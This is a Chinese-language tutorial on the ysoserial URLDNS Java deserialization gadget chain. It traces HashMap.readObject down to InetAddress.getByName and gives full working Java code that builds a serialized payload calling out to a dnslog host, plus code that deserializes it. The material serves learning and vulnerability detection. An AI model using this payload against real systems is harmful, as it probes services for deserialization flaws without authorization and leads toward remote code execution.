readObject()方法
Java反序列化会调用对应的readobject方法
比如我创建一个类test。序列化test类就会调用writeobject方法,
反序列化就会调用test类的readobject方法。默认是存在的。可以重写readobject方法
在HashMap类中,恰恰存在readobject方法
利用链:
ysoserial项目的利用链
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
其实可以细分一下:
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash()
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName
分析:
首先找到HashMap的readObject()方法
在断点处 puVal方法调用hash()方法
跟进hash方法:
这里有个三元判断,当传入的参数(这里的key就是HashMap对象的键)不为空的时候,就会调用key下的hashCode()方法
跟进看一下
当反序列化的时候,调用了hashCode()方法,hashCode是一个Object方法,那么我们可以找一个重写了hashCode方法的类,然后实例化这个对象,放在HashMap的键里,序列化这个HashMap对象,当反序列化时,就会调用这个对象的hashcode
但是前提是这个类的hashCode方法可以实现我们想要的功能。例如java.net.URL类。
那么下面我们来分析一下java.net.URL类的hashCode方法。
可以看到,这里有一个IF判断,而hashCode属性默认是-1。这段代码的意思就是,当第一次调用hashCode方法的时候,hashCode为-1,不会进入if判断。否则就会进入if判断了,直接返回hashCode属性。
到了这里我们跟进一下handler.hashCode方法,传了this参进去,这个this其实就是HashMap的键,handler其实是一个UrLStreamHandler类对象
进入URLStreamHandler类的hashCode()方法
getProtocol获取协议,getHostAddress,获取域名对应的ip地址
进入getHostAddress()方法里,主要是getByName方法
重点在getByName方法。这个方法会发送请求解析域名为IP。通过这种方法最终实现了DNSlog
该方法会使用远程请求,进行获取主机的ip,那么这时候就会触发一次请求,到了这里我们的dnslog平台,就可以收到响应了。这就是这个URLDNS链的一个触发点
序列化代码
package com.company;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://g5w6xs.dnslog.cn");
//获取URL类的hashCode属性
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
// 修改访问权限,必须使用setAccessible方法设置为True才能修改private属性
f.setAccessible(true);
// 设置hashCode值为123,这里可以是任何不为-1的数字。先这样设置是因为HashMap的put方法也会调用hash(key)方法,
// 如果不这样的话,会在序列化的时候调用put方法然后调用hash(key),然后直接进行了dnslog。
f.set(url,123);
System.out.println(url.hashCode());
//往HashMap中添加Key为URL对象
map.put(url,"123");
// 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
f.set(url,-1);
try{
// 序列化对象
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
反序列化代码
package com.company;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UrlDnsSer {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 反序列化对象
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
ois.readObject();
}
}